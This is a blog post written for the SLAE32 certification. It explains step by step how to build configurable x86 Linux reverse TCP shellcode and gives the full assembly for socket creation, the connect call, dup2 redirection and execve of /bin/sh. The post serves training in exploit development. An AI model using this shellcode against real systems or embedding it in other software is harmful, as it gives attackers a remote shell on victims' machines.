SLAE32 Assignment 2 - TCP Reverse Shell

4 minute read

SLAE32 Assignment #2

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-1372

This is the second of seven assignments in order to complete the SLAE (32bit) certification.

The main goal of the second assignment is to create a reverse TCP shellcode where:

  • It must connect to a defined IP and Port
  • It must execute a shell
  • Both IP and Port must be easily configurable

In order to achieve the goal we must split the task into multIPle syscalls:

  1. Create the Socket
  2. Connect the Socket to address and port
  3. Redirect the stdin, stdout and stderr via dup2
  4. Finally, call execve with /bin/sh

Majority of the code used for this Assignment is from the previous one.

Create Socket

Like in the first Assignment the first part is the creation of a socket

; Create Socket
; eax = 102, ebx = 1, ecx = args array struct, stack [0,1,2]

xor eax, eax 	; reseting the register
mov al, 0x66 	; syscall 102 (socketcall)
xor ebx, ebx 	; reseting the register
push ebx 		; 0 (protocol)
inc ebx			; ebx = 1
push ebx 		; 1  (SOCK_STREAM)
push 0x2 		; 2 (AF_INET)
mov ecx, esp 	; ecx = args array struct
int 0x80 		; syscall

Now that we created the socket the next step is to connect it to an address ( and port 1337.

Connect the Socket to address and port

This is the only step that differs from the first assignment. In order to establish a remote connection it will be used the function SYS_CONNECT. The value of SYS_CONNECT is 3. Like in the previous assignment we start by putting the value 102 (0x66) into al in order to do a sys_socketcall.

The SYS_CONNECT takes the 3 following arguments (same case as BIND in the last assignment): - int sockfd (file descrIPtor) - const struct sockaddr *addr (structure) - socklen_t addrlen (address length)

Sockaddr contains: -sin_family (Address family) -sin_port (Port number) -sin_addr (Address)

To create the sockaddr structure we need to start by pushing the address ( [null free shellcode :P]), followed by the port (1337) and finally 0x2 (ebx). The remaining part of the code is the same as the previous assignment.

; Connect Socket
xchg edi, eax			; save the file descrIPtor for future use
push dword 0x0101017f	; IP   =
push word 0x3905		; port = 1337
inc ebx					; ebx = 2
push bx					; 2 (AF_INET)
mov ecx, esp			; ecx = args array struct
push byte 0x10			; addrlen
push ecx				; sockaddr
push edi				; fd
mov al, 0x66			; syscall 102 (socketcall)
mov ecx, esp			; ecx = args array struct for the syscall
inc ebx 				; ebx = 3
int 0x80

Redirect the stdin, stdout and stderr via dup2

Just like in the first assignment we need to redirect the stdin, stdout and stderr using dup2.

xchg ebx, edi			; pass sockfd to ebx
xor ecx, ecx			; reseting the register
mov cl, 0x2				; counter
mov al, 0x3f			; syscall 63 (dup2)
int 0x80				; syscall
dec ecx					; decrement counter
jns loop

Call execve with /bin/sh

Now that all the redirects are working as it should is time to use SYS_EXECVE to execute /bin/sh. Execve takes 3 arguments a pointer to the filename that we want to execute, argv is an array of argument strings passed to the new program and envp is an array of strings that is passed as environment to the new program.

;execve /bin/sh

xor eax, eax			; reseting the register
push eax				; string terminator
push 0x68732f6e 		; hs/n	; hs/n
push 0x69622f2f 		; ib//	; ib//
mov ebx, esp			; ebx = //bin/sh
push eax		
push ebx
mov ecx,esp				; argv = [filename,0]
mov edx, eax			; envp = 0
mov al, 0xb				; syscall 12 (execve)
int 0x80				; syscall

Now we can assemble and link. After executing we see that we receive a connection on port 1337 with a shell. Reverse Shell

Port configuration

To finish this assignment we are just missing the port and IP address to be easily configurable. After disassembling the binary we found the hard coded port 1337 (pushw 0x3905) and the IP address (0x0101017f). dynamicPort+IP.png

In order to be easily configurable we need to replace 0x3905 and 0x0101017f for the input of the user. To do that was created a python scrIPt that concatenate all the bytes prior to the IP with the new IP bytes followed by \x66\x68 followed by the port bytes with the rest of the shellcode. dynamicPort+IPPython.png

The Python script takes 2 arguments. The first argument is the IP address and the second is the port. If the IP and port are null free the shellcode will be null free.

All the code can be found in my github